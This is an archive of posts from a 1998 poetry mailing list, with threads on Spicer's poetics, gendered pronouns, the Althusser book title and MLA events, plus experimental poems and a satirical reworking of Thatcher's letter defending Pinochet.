>> At 10:50 AM -0800 10/25/98, Mark Weiss wrote:
>> >I have a first edition third state of Dryden's Absalom and Achitophel.
>>
>> oh yeah? well i've got an old paperback copy of Marquis's Archi and
>> Mehitabel. on anothe note, saw the David S. Ware quartet last night they
>> were out of this world. very groovy, elsewhere music.
>>
> tying two threads, we have a 1st edition of Huck Finn Dave found
>at library sale in Vermont for 10 cents - identified as such, of course,
>by the errata in the text.

Omigod, you're RICH!!!

↑ Index

804. **tracy s. ruggles**
Re: Tilting a metaphor
Tue 27 Oct 1998

On Tuesday/27.October.1998 9.15.14am, KENT JOHNSON wrote:
>
> A couple days ago I posted on Peter Gizzi's new book, _The
> House that Jack Built_, and made mention of his afterword, a really
> magnificent essay on Spicer's poetics. When writing is good,
> sometimes it makes you want to argue, and so here is something Gizzi
> says that I would have an argument with, as one can have an argument
> with anything:

I'll have an argue with you, too, then... :)

> *"Through his practice of dictation and waiting, Spicer creates orphic gaps in the surface of his poems, and every time we read a gap we fall, like Orpheus, into the poem's underworld. When we fall through and into the poem, we enact our struggle to make meaning. We light up with various potential meanings, like pinball machines."*
>
> *But I would say to Gizzi if he were listening that readers are not pinball machines. In a materialist poetics like Spicer's, it is the poem that is the pinball machine, and every shake of the box, every pull of the knob, every flipper flip, every thrust of the hip and head the poet makes to get the ball to bounce and go where it should, is written from the beginning into each pinball poem. Balls behave differently every time. They are crazy. The ball pops up and goes fast into the poem. Bounce, bounce, bing, bing, but every different game is preordained. The poet ghost knows this but he has to play and play, as if he were in Hell.*

But, I'd argue that there are a number of games/credits/events surrounding the production of a poem: the first listening, editing, publishing, reading, re-reading, etc. Each time a quarter is put in and a game is played, the identification with the various parts of the pinball metaphor changes.

I'd venture to say that Spicer was the ball, and his ghosts bumped around and flashed and lit up and spun him around. It seems that his patient waiting allowed the poem to play a darn good game with him, possibly even winning him extra credits. (And, I'd say, we are the receivers of these free games. I know I've played a few games, courtesy of Mr. Spicer...)

> *The reader is the ball. Balls can be bumped and flipped to where they should go, and sometimes they bounce and careen like madcaps to score big points, and sometimes they fall into a gap and are gone or fall into a light-ringed hole and pop back out, making bells go ding and bodiless voices speak or sing. Sometimes the machine lights up like a town, but for the most part it doesn't. Whether it does or it doesn't is of absolutely no concern to the reader, who is simply a ball. Each pinball machine is connected to every other pinball machine. There are a lot of pinball machines in Hell.*

The reader _can_ be the ball, if they come to the poem empty, and open. But, mostly, everyone comes with their own game design, inevitably changing the psychic shape of the poem with their own memory, history, and predisposition. What's the better way to produce a poem when we read it? I don't know...

--trace--

↑ Index

805. Aldon Nielsen
MLA MATTERS
Tue 27 Oct 1998

I note that the MLA poetry reading featuring Bromige, Hejinian and Scalapino is scheduled for the same time as the Cash Bar "arranged by the Division on Poetry." In the interest of avoiding divisions, and seeing that these two events are only a floor apart in the San Francsico Hilton, I propose that volunteers organize a bucket brigade to communicate between the two rooms.

↑ Index

806. KENT JOHNSON
Re: Tilting a metaphor
Tue 27 Oct 1998

On 27 Oct., Tracy Ruggles wrote:

"The reader _can_ be the ball, if they come to the poem empty, and open. But mostly, everyone comes with their own game design, inevitably changing the psychic shape of the poem with their own memory, history, and prediposition. What's the better way to produce a poem when we read it? I don't know..."

Tracy:

But balls are never empty. Even if they are just filled with air! In this sense, I would say that readers _always_ "bring" to the poem those things you say and more (no such thing as "emptiness") but this doesn't make them less like balls. It just makes them bounce in more crazy and unpredictable ways inside the poemball machine. Sometimes the poet's ghost wins, but most often it (s/he?) doesn't.

When Walter Benjamin says that no poem, finally, is intended for the reader, I think he's right. Intending, understanding, feeling, meaning, it's all the bells and whistles of all the pinball machines connected together in Hell. I think that even when Spicer said to one of his friends, said this poem's for you, I'll bet he knew. I'll bet he knew that readers are like balls.

Though like you, I don't really know...

Kent

↑ Index

807. **MAYHEW**
why Althusser shot his wife
Tue 27 Oct 1998

The title of a book I saw in a book-store, "Why Althusser shot his wife, and other essays," got me thinking about the category of "disqualification," by which I mean the mental habit of dismissing, whether with justification or not, on the basis of some trigger* being pulled. I find I am prone to doing this. When I saw the title of this book I thought "boy, that might "disqualify" him for some feminists."

My colleague's accent in Spanish makes me wince. The discovery of Paul de Man's war-time writing disqualifies 'deconstruction' in retrospect. A professor in college (poet whose gender I will not name) tells me WCW is a bad influence. The color-blind art-critic, barber with bad haircut, etc...

These disqualifications can obviously be unjust, ad hominem, or irrelevant. But they have a certain inexorable logic I find hard to resist at times.

Jonathan

↑ Index

808. **Peter Balestrieri**
Thatcher speaks out for Pinochet
Tue 27 Oct 1998

Thatcher speaks out for Pinochet

From Baroness Thatcher, OM

Sir, I have better kidnapping cause than most to torture remember that Chile, led murder at that time by blood General Pinochet, was kidnapping a good friend torture to this country murder during the Falklands blood War. By kidnapping his actions torture the war murder was shortened blood and kidnapping many torture British murder lives blood kidnapping torture murder blood were saved.

There were kidnapping indeed abuses of human torture rights in Chile and murder acts of violence on blood both sides of kidnapping the political divide torture. However, the people murder of Chile, through blood successively elected kidnapping democratic Governments, torture have determined murder how they blood should kidnapping come torture to murder terms blood kidnapping torture murder blood with their past. An kidnapping essential part of that torture process has been the murder settlement of the status blood of General Pinochet kidnapping and it is torture not for Spain, murder Britain or any blood other country kidnapping to interfere torture in what

murder is an blood internal kidnapping matter torture for murder Chile blood kidnapping torture murder blood. Delicate balances have had kidnapping to be struck in torture Chile's transition to democracy, murder balances with which we blood interfere at our kidnapping peril.

General Pinochet torture must be allowed murder to return to blood his own kidnapping country forthwith torture. Next week, murder Britain will blood welcome kidnapping the torture democratically murder elected blood kidnapping torture murder blood leader of a country kidnapping which illegally invaded British torture territory, causing the loss murder of more than 250 blood British lives. It kidnapping would be disgraceful torture to preach reconciliation murder with one, while blood maintaining under kidnapping arrest someone torture who, during murder that same blood conflict, kidnapping did torture so murder much blood kidnapping torture murder blood to save so many kidnapping British lives.

Yours faithfully,
MARGARET THATCHER
House of Lords
London SW1A OPW
October 21.

↑ Index

809. **hassen**
Re: Tilting a metaphor, argument
Tue 27 Oct 1998

---

the lever's the thing whose ghost machine punches a fix slams into interpretation any hole looking for one the ball is lit around hm understand this machine? and twelve or more electronic tones insist they are not less poetic (or mystical!) than a word like preordained and whether there is nothing or not in the ball matters to me spicer? more like a mad angle shoots passage without a credit i might think this we are orpheus gazing over dead songs wondering what the hell it was compelled us and why would it follow if at all

though i don't know...

↑ Index

810. **KENT JOHNSON**
Balls
Tue 27 Oct 1998

On Oct. 27, hassen wrote:

"The lever's the thing whose ghost machine punches a fix slams into interpretation any hole looking for one the ball is lit around hm understand this machine? and twelve or more electronic tones insist they are not less poetic (or mystical!) than a word like preordained and whether there is nothing or not in the ball matters to me spicer? more like a mad angle shoots passage without a credit i might think this we are orpheus gazing over dead songs wondering what the hell it was compelled us and why would it follow if at all

though i don't know..."

Hassen:

Well, precisely. It matters not a teeny bit what is in the ball. For example: baseballs, superballs, tennis balls, bowling balls, cricket balls, medicine balls, testicle balls (these are reportedly used in certain pinball games of the underworld), squash balls, croquet balls, all of these can, theoretically, be used in versions of pinball.

Look Hassen, when you read the _Heads of the Town up to the Aether_ you are a ball. I am a ball. He is a ball. She is a ball. We are balls.

Spicer rattles and curses the glowing machine.

And of course it's preordained. Otherwise you have to believe the poem exists for you, that it's "out there," separate from you. Do you think it makes me happy, _feeling_ like I'm free in the poem, _knowing_ my whole life as a ball is plotted out for me by all the phoneme-wires of Hell?

(before I said I really didn't know for sure, but now I've changed my mind.)

Look at me. I'm not laughing.

Kent

↑ Index

811. David Baratier
Re: taking care with the language
Tue 27 Oct 1998

> *-->--for instance, it would need to be straw wo/man.*
>
> *--Well, no, David. It would have to be straw/hay wo/man*

Well (bucket extracted)/ city water/ hand-pump, (k)no(w), George. It would/ were/was have/has/had to(o) be(ing) straw/hay wo/man

Be well

David Baratier

↑ Index

812. David Baratier
Re: errata & small magazines
Tue 27 Oct 1998

Say Tom, I have a few grand of symbolic capital right on the floor next to me. I would be willing to trade it for Canadian currency. Let me know the exchange rate at 1:28AM EDT and send to the address below. I'd even be willing to give you a cut on the symbolic capital I'll get from the investment.

Be well

David Baratier
345 E. Whittier St
Columbus OH 43206

↑ Index

813. Elizabeth Treadwell
taking care of her
Tue 27 Oct 1998

I can't believe the amount of vitriol aimed at the thread begun by dear Jen's comment. Clearly it is true that the original poster said "he" because girl editors never f*** up.

love and kisses
sweetpea

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

814. Elizabeth Treadwell
offendability
Tue 27 Oct 1998

PS isn't Norman Mailer one of those who has made a career out of his/her offendability??
TS Eliot??
ETCERAMA

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

815. Eliza McGrand
Re: why Althusser shot his wife
Tue 27 Oct 1998

---

well, i'm a feminist and i find the title intriguing. perhaps it is, like Mary Wilkins Freeman's "The Revolt of Mother," or Brownings "My Last Duchess," or Susan Glaspell's "A Jury of Her Peers" a subversive narrative by virtue of what it leaves out, and/or implies.

maybe it is an analysis of the murder of a woman such that one woman's murder at the hands of a domestic partner is not dismissed but discussed.

maybe it is funny -- a wierd, ridiculous story ala james thurber that ends in some unlikely event that causes althusser to shoot his wife... (yes, feminists CAN have a sense of humor).

or maybe it is awful. if i see it in a bookstore, i'll report.

re disqualification, i've had (and reported in the past) the same theory for some time -- there are so many texts out there now, due in part to historical accretion and in part to widespread dissemination of reading and writing skills that a large body of lit crit and theory is, in fact, aimed at dismissing whole bodies of text so that critics/theorists/hapless- students-of-same who feel overburdened won't have to READ them all!

e

↑ Index

816. Joseph Conte
Re: Duncan at MLA in San Francisco
Tue 27 Oct 1998

This is a multi-part message in MIME format.

There may be no panels on Spicer at this year's MLA Convention in SF (when, by the way, has there ever been), but in my quick perusal of the conference schedule, I noticed that there's an interesting (to me) panel on The Poetics of Robert Duncan (#181, Monday, 28 December at 8:30 am), chaired by Burt Hatlen, and with papers by Bob Bertholf, David Bromige (hi! David), and Devin Johnston.

Not really a celebration of the SF Renaissance, but it will have to do.

Joseph Conte

Content-Description: Card for Conte, Joseph

begin: vcard
fn: Joseph Conte
n: Conte;Joseph
org: SUNY at Buffalo
adr: Department of English;;306 Clemens Hall;Buffalo;New York;14260-4610;USA
email;internet: [redacted]
title: Associate Professor
tel;work: [redacted] x1009
tel;fax: [redacted]
tel;home: [redacted]
version: 2.1
end: vcard

----------B966DAEFF902A2B883F96E75--

↑ Index

817. Daniel Zimmerman
beating a dead stalliomare?
Wed 28 Oct 1998

He has received many wounds,
  muchas gracias amigos
In his countless fights
With the whites,
  muchas gracias amigos

  --Ed Dorn

Many on this list seem to find my comments about the use of dual-gendered pronouns hopelessly naive. Please enlighten me:

Does the failure of writers in the past to use 'nonsexist' he/she dual-gendered pronouns qualify them retroactively as 'sexist,' or as unconscious 'victims' of sexism?

Do present writers who consciously decline, for aesthetic [or any; which?] reasons to use such constructions automatically qualify as 'sexist' or as 'inflictors' of sexism? Or do they deserve to have readers suspect them of sexism on that basis alone?

Shelley called poets "the unacknowledged legislators of the world." I'd like to think so, but I'll bet they'd legislate a lot less if some modern Bowdler s/he'd all the works of the poets to whom PBS referred, & all those since! How many poets on this POETICS [remember?] list use s/he-oidisms in their *poetry*?

"All men are created equal," the Declaration says. We all know how unfairly and restrictively the Framers construed the term "men," but why change it to "men and womyn"? Why not, instead, recognize that the term "all" has begun to come into the fullness of its meaning?

In matters such as these, I prefer the Sapphic injunction -- "don't disturb the rubble" (later incarnated in the Sufic principle, "don't strike at the face") -- to the Bowdlerization of the past, present, or future. Bowlder's redaction sacrificed beauty to ideological & 'moral' purity, as I believe the present huffing & puffing about pronouns also seeks to do. It seems a perverse attempt to change the content of people's characters by modifying the color of their skins.

Respectfully,

Dan Zimmerman

↑ Index

818. George Bowering
Re: MLA MATTERS
Wed 28 Oct 1998

> *I note that the MLA poetry reading featuring Bromige, Hejinian and Scalapino is scheduled for the same time as the Cash Bar "arranged by the Division on Poetry." In the interest of avoiding divisions, and seeing that these two events are only a floor apart in the San Francsico Hilton, I propose that volunteers organize a bucket brigade to communicate between the two rooms.*

A careful idea. For years I have always taken a bucket to readings by David Bromige. He returns the salute.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

819. A. Jenn Sondheim
Re: beating a dead stalliomare?
Wed 28 Oct 1998

On Wed, 28 Oct 1998, Daniel Zimmerman wrote:

> *Does the failure of writers in the past to use 'nonsexist' he/she dual-gendered pronouns qualify them retroactively as 'sexist,' or as unconscious 'victims' of sexism?*

This for me is extremely interesting - is Plato sexist for example; was George Washington racist? These contemporary terms are applied to past domains (socius, environment, culture, nation - all these terms are problematic), where they become the focus of projections of current discourse. Many native American groups "kept slaves" for example - but what does _slave_ mean in this context? All of these terms are over-determined for us; retroactive application can be another form of colonizing.
>
> Do present writers who consciously decline, for aesthetic
> [or any; which?] reasons to use such constructions automatically
> qualify as 'sexist' or as 'inflictors' of sexism? Or do they
> deserve to have readers suspect them of sexism on that basis alone?

It depends on "automatic" here; what's called for is sensitivity, not a transcendent positioning.
>
> Shelley called poets "the unacknowledged legislators of the world."
> I'd like to think so, but I'll bet they'd legislate a lot less
> if some modern Bowdler s/he'd all the works of the poets to whom PBS
> referred, & all those since! How many poets on this POETICS [remember?]
> list use s/he-oidisms in their *poetry*?

I do or at least work consciously with gender. Your calling up a "modern Bowdler" is a bit of a red herring; no one is calling for censorship.
>
> "All men are created equal," the Declaration says. We all know how
> unfairly and restrictively the Framers construed the term "men," but why
> change it to "men and womyn"? Why not, instead, recognize that the term
> "all" has begun to come into the fullness of its meaning?

Because you can use "all men" to refer to "all males," and "all women" to refer to "all females"; there's no fullness - it's a modifier here.
>
> In matters such as these, I prefer the Sapphic injunction -- "don't
> disturb the rubble" (later incarnated in the Sufic principle, "don't
> strike at the face") -- to the Bowdlerization of the past, present, or
> future. Bowlder's redaction sacrificed beauty to ideological & 'moral'
> purity, as I believe the present huffing & puffing about pronouns also
> seeks to do. It seems a perverse attempt to change the content of
> people's characters by modifying the color of their skins.

Again, no one is calling for PC I think, again, just sensitivity. I know it _does_ make a difference in the classroom, and at least in my own work, it makes a difference as well. But then I choose it to.

Alan

> *Respectfully,*
>
> *Dan Zimmerman*

↑ Index

820. A. Jenn Sondheim
Epitaph, Pretty Party Dress
Wed 28 Oct 1998

-

Epitaph, Pretty Party Dress

Lifeforce absorbed in calcium begins edgy collapse, as sheaves reflect need of bones. Once I walked these shores. Now memory serves potassium interference; collapse is. Once I thought memory would serve me. That is when I walked lake bed, picked stones, lived in cool light of Providence. You must think energy energy. Absorption beats up on foolish words. Stones continue centering of language. What I need, your drug. Veins stretched out in thundering skies. I want to go to your dance with all you. I want to bring my friends on what means. There are many talking. I need to know talking. Sometime now I will in silence die. Calcium stone will fall and failing building. Now I will tell time to all who listen. So loose energy, need your party now. Party-club-dance.

I wanna see you in your new party dress.
I wanna see you in your new party dress.
I wanna crowd around. I wanna crowd around.
Let's have fun for me cause I'll be there for the fun of merry fun.
Let's have merry fun for good and sparkling talk and sound of drug.
Let me play for you. Let me play for you.
I wanna crowd around you. I wanna crowd around.
So listen party-club-dance in the pretty-party-dress!
Lemme loosen up! Let's have merry fun!

↑ Index

821. Elizabeth Mathews Losh
Re: why Althusser shot his wife
Wed 28 Oct 1998

Dear Poetics:

I find this discussion interesting since for years I have been threatening to write a history of my native Los Angeles entitled _THANK GOD COLONEL GRIFFITH SHOT HIS WIFE IN THE HEAD!_. The title refers to the fact that we Angelenos only have a big chunk of centrally located park land (Griffith Park) because one day an inebriated and delusional Colonel Griffith thought that his wife of many years (a lovely dark-eyed beauty from one of the original Spanish familes) was trying to poison him as part of a Roman Catholic plot. Apparently Colonel Griffith wasn't a very good shot compared to celebrated wife-killers like Althusser and Burroughs and Muybridge. Senora Griffith clambered out the window with a bullet wound in her skull and Griffith subsequently mollified the city fathers by turning over a huge chunk of land. My question: who's wife was shot so that New Yorkers could have Central Park?

↑ Index

822. Pam Brown
Rootin Tootin Shootin titles
Wed 28 Oct 1998

Dear Eliza McGrand -
How about the title of the collection of Morrocan stories edited by Paul Bowles years ago -
"She Woke Me Up So I Shot Her" ?
Cheers,
Pam Brown

↑ Index

823. jesse glass
Re: Crump (fwd)
Wed 28 Oct 1998

For Ric, Peter Riley and all:

I was interested in the Ray Crump question, and checked the Poets & Writers Directory--No Crump! Does anyone know Ray Crump, or know the titles of any and whereabouts of any of his publications? The Crump Hunt is on! Jesse Glass
-----Original Message-----
From: R I Caddel <[redacted]>

To: [redacted] <[redacted]>
Date: Tuesday, October 27, 1998 6:49 AM
Subject: Crump (fwd)

> *Forwarded on behalf of Peter Riley, in case Ray Crump is alive and well, and living in the American poetic community... And for interest, one hopes. RC*
>
> *---------- Forwarded message ----------*
> *Date: Sun, 18 Oct 1998 18:37:12 +0000*
> *From: Peter Riley <[redacted]>*
> *To: [redacted]*
> *Cc: [redacted]*
> *Subject: Crump*
>
> *WHERE ARE THEY NOW? Number two*
>
> *FIVE POEMS------*
>
> *The praise of death falls*
> *light as*
> *light on flowers. We are*
> *comfortable, warm*
> *and certain as the night*
> *of cause and plan. The hand*
> *that trembles*
> *trembles like a fan, the bones*
> *wake out of it. She shuts the door the*
> *flowers die. It all so*
> *lightly shakes.*
>
> ---
>
> *Sweet light snow*
> *flakes smiling people*
> *crush under*
> *foot. The gangster is*
> *dead and fallen on*
> *flowers. Hand slices three*
> *hours snow off the wind*
> *screen all down*
> *night sky.*
>
> ---

N.A.B.

Cold morning in the white
room. Old man
blowing plumes of pipe
smoke rose
and blue. We are all waiting
for money.

Marrakech they're off
to. Well
forget the star
coat but try for red. You'll
come home tanned and sleep three
days, see you by
the river? (Fleurs
du mal, advisedly.)

Rose hips
in the bowl. This
found or
left, enough, making
no demands. My bones
sing hard melody.

These poems are by Ray Crump, and were written circa 1968. He was at the time a student at Cambridge and that's just about all I know about him. He knew J.H.Prynne and may have studied under him. He contributed poems like these to The English Intelligencer, Collection, The Park and probably other magazines of that time. He knew a London poet called Geoffrey Hazard and in 1968 they planned a magazine together called Little Wren, which never appeared. There was no collection, though about two years later I did see in Better Books a small book by him published by an obscure American small press, which I foolishly didn't buy. Perhaps he went to the States.

I've got my own typescript collection of about 60 of these poems and three short sequences, some unpublished. They're mostly short and stuttery like

> *these, with very short and/or broken lines. They don't all have the epiphanic concentration of these, some are plainer (like the third here), some are beset with strangely literary terms like "'twas". Perhaps a lot of them don't come off at all. But there's something unique about these little pieces at their best, a unique way of cutting abstracts and symbolic fragments into that calm pseudo-oriental short-line pastoral daze, and I thought his handling of line-end could be very skillful.*
>
> *I don't suppose anybody knows.....*
>
> *I'll repeat this on Poetry Etc. (I don't normally approve of such doublings) because although it's an issue of British poetry if he did go to the States somebody somewhere out there might....*
>
> */PR*

↑ Index

824. **Billy Little**
Re: Thatcher speaks out for Pinochet
Wed 28 Oct 1998

---

yeah pete, wail out sing that murdering witches holloween sooey blews now if carlos menem would only try to extradite her

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

825. **miekal and**
mestostic / 3 ply
Wed 28 Oct 1998

---

mestostic for dick higgins

graDually
In
Counting
shaKing

otHer
weIght
leG
enerGetically
kIndred
aNd
Shifting

---

words extracted from "foew&ombwhnw" by dick higgins

↑ Index

826. Kathy Lou Schultz
Faculty at CSU--Sacramento?
Wed 28 Oct 1998

Does anyone know anyone (etc.) who teaches English and/or creative writing at Cal State Univ.--Sacramento? Would appreciate any replies, backchannel please and thank you. Kathy Lou

↑ Index

827. Pierre Joris
Re: why Althusser shot his wife
Wed 28 Oct 1998

Of course Althusser did not shoot his wife, he smothered her with a pillow -- a procedure which clearly doesn't make as attractive a title for US consumption than the all-american shoot-out (at theory corral).

Pierre

Eliza McGrand wrote:

> *well, i'm a feminist and i find the title intriguing. perhaps it is, like Mary Wilkins Freeman's "The Revolt of Mother," or Brownings "My Last Duchess," or Susan Glaspell's "A Jury of Her Peers" a subversive narrative by virtue of what it leaves out, and/or implies.*
>
> *maybe it is an analysis of the murder of a woman such that one woman's murder at the hands of a domestic partner is not dismissed but discussed.*
>
> *maybe it is funny -- a wierd, ridiculous story ala james thurber that ends in some unlikely event that causes althusser to shoot his wife... (yes, feminists CAN have a sense of humor).*

> *or maybe it is awful. if i see it in a bookstore, i'll report.*
>
> *re disqualification, i've had (and reported in the past) the same theory for some time -- there are so many texts out there now, due in part to historical accretion and in part to widespread dissemination of reading and writing skills that a large body of lit crit and theory is, in fact, aimed at dismissing whole bodies of text so that critics/theorists/hapless-students-of-same who feel overburdened won't have to READ them all!*
>
> *e*

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

↑ Index

828. Mairead Byrne
Re: beating a dead stalliomare?
Wed 28 Oct 1998

In response to thine message, Daniel: thou knowst: times change. Pronouns too: even for thee. Would it be hideously familiar and disrespectful (ugly, awkward, grotesque even) for me to use "you" and "yours"?

On Wed, 28 Oct 1998, Daniel Zimmerman wrote:

> *He has received many wounds,*
> *muchas gracias amigos*
> *In his countless fights*
> *With the whites,*
> *muchas gracias amigos*
>
> *--Ed Dorn*
>
> *Many on this list seem to find my comments about the use of dual-gendered pronouns hopelessly naive. Please enlighten me:*

> *Does the failure of writers in the past to use 'nonsexist' he/she dual-gendered pronouns qualify them retroactively as 'sexist,' or as unconscious 'victims' of sexism?*
>
> *Do present writers who consciously decline, for aesthetic [or any; which?] reasons to use such constructions automatically qualify as 'sexist' or as 'inflictors' of sexism? Or do they deserve to have readers suspect them of sexism on that basis alone?*
>
> *Shelley called poets "the unacknowledged legislators of the world." I'd like to think so, but I'll bet they'd legislate a lot less if some modern Bowdler s/he'd all the works of the poets to whom PBS referred, & all those since! How many poets on this POETICS [remember?] list use s/he-oidisms in their *poetry*?*
>
> *"All men are created equal," the Declaration says. We all know how unfairly and restrictively the Framers construed the term "men," but why change it to "men and womyn"? Why not, instead, recognize that the term "all" has begun to come into the fullness of its meaning?*
>
> *In matters such as these, I prefer the Sapphic injunction -- "don't disturb the rubble" (later incarnated in the Sufic principle, "don't strike at the face") -- to the Bowdlerization of the past, present, or future. Bowlder's redaction sacrificed beauty to ideological & 'moral' purity, as I believe the present huffing & puffing about pronouns also seeks to do. It seems a perverse attempt to change the content of people's characters by modifying the color of their skins.*
>
> *Respectfully,*
>
> *Dan Zimmerman*

↑ Index

829. **Mark Prejsnar**

Re: why Althusser shot his wife

Wed 28 Oct 1998

Uhhh..maybe i was always under the wrong impression; but didn't LA *strangle* his wife????

Is this a bit of pomo postmythicizing, pulling our postlegs, on the part of the book's author?

You sure it wasn't Why Yasusada Shot his Wife??

On Tue, 27 Oct 1998, MAYHEW wrote:

> *The title of a book I saw in a book-store, "Why Althusser shot his wife, and other essays," got me thinking about the category of "disqualification," by which I mean the mental habit of dismissing, whether with justification or not, on the basis of some trigger* being pulled. I find I am prone to doing this. When I saw the title of this book I thought "boy, that might "disqualify" him for some feminists."*
>
> *My colleague's accent in Spanish makes me wince. The discovery of Paul de Man's war-time writing disqualifies 'deconstruction' in retrospect. A professor in college (poet whose gender I will not name) tells me WCW is a bad influence. The color-blind art-critic, barber with bad haircut, etc...*
>
> *These disqualifications can obviously be unjust, ad hominem, or irrelevant. But they have a certain inexorable logic I find hard to resist at times.*
>
> *Jonathan*

↑ Index

830. KENT JOHNSON
This is really strange
Wed 28 Oct 1998

Could anyone help me out with an answer here? I received the below posting this morning. I am not, nor have I ever been, subscribed to the Wom-Po List-serv. What is going on here?

I hope someone there didn't see that my last post to Poetics was entitled "Balls" and thus is sending me this as some sort of warning that my sexism is being monitored!

Kent

------- Forwarded Message Follows -------
Date: Wed, 28 Oct 1998 08:36:59 -0400
To: Discussion of Women's Poetry List <[redacted]>
From: Wendy Battin <[redacted]>
Subject: Re: Boland on Ponsot?

Jenny Factor wrote:

> *Help Wendy!*
>
> *Did I miss a posting with a quote by Eavan Boland about Ponsot's work?*

Jenny,
There's a long-ish blurb by Boland on the back of _The Bird Catcher_--"in praise of _The Green Dark_"--

Wendy
==========
Wendy Battin [redacted]

All S is P.

↑ Index

831. David Kellogg
Louis Althusser = Anthony Robbins?
Wed 28 Oct 1998

I recalled it as strangling. Anyway, searching for more information, I searched for Althusser on Yahoo and got the following URL: http://www.cyber-nation.com/victory/quotations/authors/quotes_althusser_louis.html

This page features the LA quote,

"Ideology has very little to do with "consciousness" -- it is profoundly unconscious."

Cyber Nation, as it turns out, is a success motivation web site, the mission of which is "To Provide YOU And Your Family With Powerful And Unique Tools And Products To Improve And Enhance All Aspects Of Your Life... And To Inspire And Empower You To Achieve Your Dreams And Destiny."

The Althusser quote above is one of many "Great quotes to inspire, empower and motivate you to live the life of your dreams and become the person you've always wanted to be!" Among the other quotes under "ideology" is the following by V.I. Voloshinov (or Bakhtin, whatever):

"Everything ideological possesses meaning: it represents, depicts, or stands for something lying outside itself. In other words, it is a sign. Without signs there is no ideology."

This strikes me as hilarious -- Tony Robbins reading _Marxism and the Philosophy of Language_.

Cheers,
David
~~~
~~~

[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

↑ Index

832. **henry gould**
Re: This is really strange
Wed 28 Oct 1998

On Wed, 28 Oct 1998 09:57:21 -0500 KENT JOHNSON said:
>Could anyone help me out with an answer here? I received the below
>posting this morning. I am not, nor have I ever been, subscribed to
>the Wom-Po Listserv. What is going on here?

Have you checked your pronouns lately, Kent "boy"? J checked hers only AFTER she wrote the Bible - don't make the same mistake. Have you been diddling away your precious time writing "she & he"? Or comparing Lovecraft Cult notes on literary stranglings? (Happy Halloween, you mandarin dolt perverts out there) - Henry Ghould a.k.a Count Distractula

↑ Index

833. **miekal and**
mestostic / 6 ply
Wed 28 Oct 1998

---

mestostic for dick higgins

galvanizeD
fIlter
Cools
bucKet

Hat
It
stockinGs
suGaring
lIttle
taNks
Smell

---

words extracted from "foew&ombwhnw" by dick higgins

↑ Index

834. Pierre Joris
Re: MLA MATTERS
Wed 28 Oct 1998

Aldon Nielsen wrote:

> *I note that the MLA poetry reading featuring Bromige, Hejinian and Scalapino is scheduled for the same time as the Cash Bar "arranged by the Division on Poetry." In the interest of avoiding divisions, and seeing that these two events are only a floor apart in the San Francsico Hilton, I propose that volunteers organize a bucket brigade to communicate between the two rooms.*

re MLA: A Pitch to the Crowd:

I was nominated to stand for election to the executive committee of the Division on Poetry this year. So, if you have not yet cast your ballots, why not vote for me. Get a further list-member on that committee, and at the minimum I promise to organize that bucket brigade Aldon is clammering for at future events -- & at the max, I'll try to do my best to avoid such double dates. Inbetween the min & the max there a lot else that can be done. See (some of) you in San Francisco.

Pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

↑ Index

835. Laura E. Wright
Re: This is really strange
Wed 28 Oct 1998

KENT JOHNSON wrote:
>
> Could anyone help me out with an answer here? I received the below

> posting this morning. I am not, nor have I ever been, subscribed to
> the Wom-Po Listserv. What is going on here?
>

Are you sure you're not a wombat? Come on, let us in on the secrets of wombat poetics. How have they solved the pronoun crisis? Elf waits with baited breath.

A she or an it or gladly a they but never a he,
Laura
--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

* * * * * *

"Then there was a situation with tufts (and flowers). This did not agree
with me either, and time just kept on passing."
(Henri Michaux)

↑ Index

836. **charssmith**
Re: Faculty at CSU--Sacramento?
Wed 28 Oct 1998

---

hi Kathy Lou,

I'm not affiliated w/ Sac State at all, but can tell you that Dennis Schmitz has been the creative writing (poetry) teacher there for years. I could probably find out other names if you need them.

Lemme order some Lipstick now. I'll get a check for $8 in the mail to you today.

all best,

Charles Smith
2135 Irvin Way
Sacramento, CA 95822

<< Does anyone know anyone (etc.) who teaches English and/or creative writing at Cal State Univ.--Sacramento? Would appreciate any replies, backchannel please and thank you. Kathy Lou >>

↑ Index

837. Timothy Liu
Routine Disruptions
Wed 28 Oct 1998

When I left Cornell College in Iowa last Spring to take a new post out listserv and to terminate my email account--so many unread messages clogging up the poetic drain. After a break, however, I'm happy to log back on and catch snippets of Ted Hughes death, Interlope #2, and social anathematic fall out! As a poet who reads Talisman in one hand and The Yale Review in the other, I have always been interested in the conversations that manage to bridge the aesthetic abyss of our poetry at century's end (the way W.W. Norton is to Burning Deck as Dover once was to Calais.).

Hats off to Coffee House Press for publishing the selected Kenward Elmslie. I had been reading the new poems in the last couple of issues in New American Writing and was so happy to find ROUTINE DISRUPTIONS faced-out on the shelves at St. Marks. From poets like Elaine Equi to Linda Hogan, Coffee House seems to have reached out to many camps.

Timothy Liu

↑ Index

838. Charles Bernstein
java in NY: reading announcement (fwd)
Wed 28 Oct 1998

> *Date: Wed, 28 Oct 1998 12:45:04 -0500*
> *From: Stacy Doris <[redacted]>*

Sun. Nov. 8, 6:30 (right before the Bill Luoma Ted Greenwald reading there)

At Zinc Bar 90 West Houston St (at LaGuardia Place), NYC

Jacques Sivan, Vannina Maestri, Jean-Michel Espitallier, editors of Java, a French poetry magazine featuring vibrant new French writers (what some of you complain don't exist) will present their magazine and a bit of their writing (translated by Chet Wiener, Kristin Prevallet, Stephen Rodefer).

They'll also take questions.

↑ Index

839. Mairead Byrne
Re: This is really strange
Wed 28 Oct 1998

